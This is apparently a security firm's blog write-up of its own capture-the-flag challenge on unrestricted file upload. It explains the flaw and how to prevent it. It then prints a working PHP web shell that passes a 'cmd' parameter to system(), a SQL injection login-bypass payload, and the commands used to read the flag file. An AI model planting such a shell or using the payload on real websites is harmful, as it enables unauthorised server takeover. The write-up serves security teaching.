Unrestricted File Upload Challenge

• 10 January, 2024
• No Comments

File Upload

A good modern day web application usually interacts with the external world through form inputs but for content, if scaled on a large scale it has to deal with file uploading. And since the world is moving towards cloud architecture, file upload is a feature every web application needs.

The rise of the use of social media has encouraged the trend of uploading things. There are multiple types of data formats like text information to multimedia data uploaded to the application. This raises the concerns regarding security of the server where the app resides and also its adjacent applications and servers. Most importantly the information of users who trust and upload their information is also at stake or at risk.

How file upload works?

Before moving towards unrestricted upload let’s know how file upload works and have a basic understanding of how servers handle requests for file uploads.

Most often, the POST method is used to deal with file uploads. Most of the time the server deals with static data in image format and tabular data in Excel format.
Other than these files the server is also configured to process the file on which the server application works.

For e.g., a server which hosts PHP application also processes PHP scripts, java based application also processes JSP scripts and .net application process ASP scripts.
But since the world is not full of good people some people may use this as an entry point to the server and upload malicious files for which the server is configured to process for personal gain.

Unrestricted File Upload

Unrestricted file upload is a security vulnerability that allows an user to upload malicious files to a web application that are not meant to be or expected by the application.

This occurs when the application does not properly validate the file and its related details like its type, content, name and size. Uploading unrestricted files is the very first step in many attacks is to get code or script to be executed. For more details about the same please visit OWASP.

Impact & Risks Associated

The impact of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement, overwriting critical files of the system, if directory traversal is possible then uploading files to unwanted locations.
So it is important to check a file upload module’s access controls to examine the risks properly.

Reasons for Unrestricted File Upload

File upload attacks are a type of web application security vulnerability that can be exploited by attackers to upload malicious files to a web server. Here are some reasons for file upload attacks:

1. File Type Validation:
   Failure to validate the file type before allowing upload. Without proper validation, attackers can upload executable files, scripts, or other malicious content.
2. Improper authentication and authorization:
   Inadequate user authentication and authorization checks can allow unauthorized users to upload files, potentially leading to security breaches or data manipulation.
3. Insecure File Naming Conventions:
   Attackers can upload large files to a web server, which can then be used to consume disk space and cause a denial of service.
4. Uploading large files:
   Attackers can upload large files to a web server, which can then be used to consume disk space and cause a denial of service.
5. File Content Validation:
   Attackers can upload malicious script content to a web server leading to unexpected behavior of the application.

Best Practices or Preventive measures:

Allowing users to upload files is common and doesn’t have to be dangerous as long as we take the right precautionary steps and implement the same in our application.

Following are few measures or steps to be followed to avoid impacts of file upload vulnerability:

• Check the file extension against whitelisted extensions over a list of blacklisted ones. It’s much easier to guess which extensions you might want to allow than it is to guess which ones an attacker might try to upload.
• Sanitize the name of the uploaded file for path traversal or any such sequence of chars. The best approach is to generate application generated file name over actual filename.
• If possible instead of writing a custom validation mechanism use an established framework for preprocessing file uploads and checking for regular updates.
• If possible do not upload files to the server’s permanent filesystem until they have been fully validated. Or if possible try to store the file on a different server.

The Challenge:

Moving towards the challenge, SecurityBoat welcomed 2024 with its CTF challenge in the very first week of the month of January. After going through the application of the CTF challenge the application appeared to be a shopping site. The primary objective of the challenge was to capture the flag and display its content.
URL for the challenge.

Understanding the challenge:

After visiting the challenge URL we will be landing on a webpage showed in following image.

After the first glance we can see there are a number of menu options which we will have to check. Most of the functionality is for diversion purposes but we will mainly be focusing on how to create an account in the application so we can interact with the site. Before starting there’s also a section which points to the rules for solving the challenge. Let’s have look if we can get a hint or so.

After clicking the link we are taken to the rules page with a set of rules regarding the challenge. After going through it we have in depth details of the challenge.

After going through the rules it was clear that the application was having other vulnerabilities also but the reward will only be given to one who finds the flag and displays the content of the same. So reporting other flaws will not be considered.

Solution1

So to start with let’s first create an account to the application so we will visit the login page and from there we will go to the registration page and register our self. While trying out to register our self we found some input patterns were applied and a username was required to be unique.

After successful registration we went through the whole application functionality & found some other vulnerabilities like XSS, stored XSS, access control flaws leading nowhere.
Finally on the profile page under one of the sub-menus there was an option for updating profile details and the profile photo of the user.
So we tried to find the flag here & the page looked like the following. This was more suspicious because when we hovered over the default photo of the profile, we got to know that the photo was there to upload. So let’s try our luck and find out whether this leads to the flag we are looking for.

After clicking the edit icon a popup appears and we are able to upload the file. As soon as we click file browse we can see only JPEG files are supported in the file browse dialog as shown in the image below.

But only putting accept type on the front end is not sufficient because other file types are also uploaded. After investigating in detail, the back-end logic had only restrictions on file size and other file types and content was not checked properly. During testing the same functionality we came up with the following responses first. For invalid file types the server response was updated. But for large files it did not and the prompt failed.

The script that we tried to upload was uploaded successfully. But now it was time to identify the file location and second check whether the location where the file was uploaded the code over there is executable or not.
For finding the file location we open console of the browser by clicking F12. In browser console under networks tab we can see which all files are fetched.
After following these steps the location where the file was uploaded, it came out to be
http://ctf.securityboat.net/assets/profPic as shown in image below.

After accessing the file on path we found the code was executed so we tested what all commands we are able to execute after few trial and error most commands were executable and we were able to capture the flag that was stored in home directory.

Script that we used to list and capture the flag

<form action="#" method="get">
<input type="text" name="cmd" placeholder="Type command here"/><button type="submit">Submit</button>
</form>
<?php
if(isset($_GET["cmd"])){
   system( $_GET["cmd"]);
}
?>

Commands we used to list the flag
ls ../../../../../../home

Command to display content of flag
cat /home/flag.txt

Solution 2:

The above was one of the solutions. There is another way of reaching the flag. While fuzzing with directories there was a directory named ‘admin’ in the application having admin dashboard pages.
After trying to access pages directly we were redirected to home of site clearly indicating some sort of session management of access control was there at server end to avoid access to dashboard.
But the question arises then how does the admin log in?
Most probably he logs in using the same login page in the dashboard. Let’s try bypassing the same.

Authentication Bypass

First, we tried with simple techniques of trying to bypass and provide some common dictionary credentials for e.g.
admin / admin,
admin / password
We intercepted the request using the Burp suite to check the response and we received the response as shown in the following image.

Since this didn’t work there were two options either we try brute forcing the attack or attempt bypassing by injecting some injection payload. But before brute forcing we thought of trying SQL injection attacks using payload and this can be seen in the image above.

The payload that we used is as follows:

usrname=admin' OR 1=1 -- &passwd=admin&operation=login

This time the server response was different and we received server response 302 and after following the redirection we bypassed the authentication and got access to the admin dashboard.

Exploring the Dashboard

Once authentication was bypassed it was time for the primary objective which is capturing the flag. After going through the dashboard there were some modules like user management, staff management, product management, and the admin profile page. Again we found some vulnerabilities but were unable to get the flag.
In the product section we were able to perform product-related operations. So while adding the and updating the product there was privilege to upload product images.

Over here there was a restriction on file size but the file content and extension was not validated properly and we were able to upload the PHP script file successfully.

After successfully uploading and investigating in browsers console by clicking F12. We were able to get the location where the file was uploaded under networks tab of browser console which was
http://ctf.securityboat.net/assets/products/
as shown in image below

After finding the location and testing commands that were allowed to be executed we were able to capture the flag.

Script that we used to list and capture the flag

<form action="#" method="get">
<input type="text" name="cmd" placeholder="Type command here"/><button type="submit">Submit</button>
</form>
<?php
if(isset($_GET["cmd"])){
   system( $_GET["cmd"]);
}
?>

Commands that we used to list the flag
ls ../../../../../../home

To display content of flag
cat /home/flag.txt

For more such challenges

At SecurityBoat, we post various challenges and extend recognition, including rewards and shoutouts, to the successful participants of these challenges. To participate in such challenges, follow us on LinkedIn,  Twitter, Facebook and Instagram. 

Our latest blogs and solutions to challenges are available here.

References

• OWASP
• PortSwigger